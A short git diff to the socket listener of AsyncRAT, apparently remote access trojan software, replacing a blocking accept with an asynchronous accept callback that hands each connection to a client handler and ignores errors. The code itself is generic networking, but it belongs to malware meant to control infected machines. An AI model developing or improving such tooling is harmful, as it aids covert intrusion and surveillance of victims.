diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 4778319..a016bd6 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -1,6 +1,7 @@ using System.Threading.Tasks; using System.Net; using System.Net.Sockets; +using System; namespace AsyncRAT_Sharp.Sockets { @@ -22,10 +23,21 @@ namespace AsyncRAT_Sharp.Sockets await Task.Delay(1); if (listener.Pending()) { - Clients CL = new Clients(); - CL.InitializeClient(listener.AcceptSocket()); + listener.BeginAcceptSocket(EndAccept, null); } } } + + public void EndAccept(IAsyncResult ar) + { + try + { + Clients CL = new Clients(); + CL.InitializeClient(listener.EndAcceptSocket(ar)); + } + catch + { + } + } } }